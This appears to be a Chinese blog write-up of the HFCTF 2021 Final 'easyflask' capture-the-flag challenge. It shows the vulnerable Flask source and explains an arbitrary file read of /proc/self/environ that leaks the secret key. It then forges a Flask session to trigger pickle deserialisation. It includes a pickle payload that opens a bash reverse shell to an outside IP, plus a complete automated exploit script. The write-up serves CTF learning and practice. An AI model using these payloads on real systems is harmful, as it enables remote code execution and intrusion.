[HFCTF 2021 Final]easyflask

任意文件读取,根据提示读取源码
在这里插入图片描述

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):#如果u对应的值是字典,会读取  u.b
            u = b64decode(u.get('b'))
        u = pickle.loads(u)#pickle反序列化
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

很明显的一个session伪造加pickle反序列化rce。
从/proc/self/environ 获取环境变量,里面有secret_key可以拿这个secret_key伪造session。

import pickle
from base64 import b64encode
import os

User = type('User', (object,), {
    'uname': 'tyskill',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/192.168.1.1/2333 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())

命令执行那换上自己vps的ip,不过得在linux中运行这个脚本(我在kali用得是python2.7,发现python3和2出来的又不一样),不然生成得base64会出错,导致伪造得ssesion反序列化失败。
在这里插入图片描述在这里插入图片描述

利用flask-unsign这个工具生成恶意session。https://github.com/Paradoxis/Flask-Unsign
在这里插入图片描述

带着这个session去访问/admin,然后服务器监听即可。
在这里插入图片描述

如果只是为了flag的话还有一种方法就是命令执行的时候把flag写到/tmp目录下的某个文件中。
Exp一把梭,不过这个脚本要在linux下python3运行。 Windows下也还是不行。。。。

import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import pickletools
import requests

url = "http://5a3ed6ba-e33e-4746-bfa4-6b9b7bc1d9ba.node3.buuoj.cn"

def get_secret_key():
    target = url + "/file?file=/proc/self/environ"
    r = requests.get(target)
    key = re.findall('key=(.*?)OLDPWD',r.text)
    return str(key[0])

secret_key = get_secret_key()
#secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

#print(secret_key)


class FakeApp:
    secret_key = secret_key

class User(object):
    def __reduce__(self):
        import os
        cmd = "cat /flag > /tmp/test1"
        return (os.system,(cmd,))

exp = {
    "b":base64.b64encode(pickle.dumps(User()))
}
print(exp)

fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    {'u':exp}
)
print(cookie)

headers = {
    "Accept":"*/*",
    "Cookie":"session={0}".format(cookie)
}

req = requests.get(url+"/admin",headers=headers)

req = requests.get(url+"/file?file=/tmp/test1",headers=headers)

print(req.text)

在这里插入图片描述

参考:https://www.yuque.com/jinjinshigekeaigui/alad3t/egit84#q9FBd
https://www.anquanke.com/post/id/239993

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值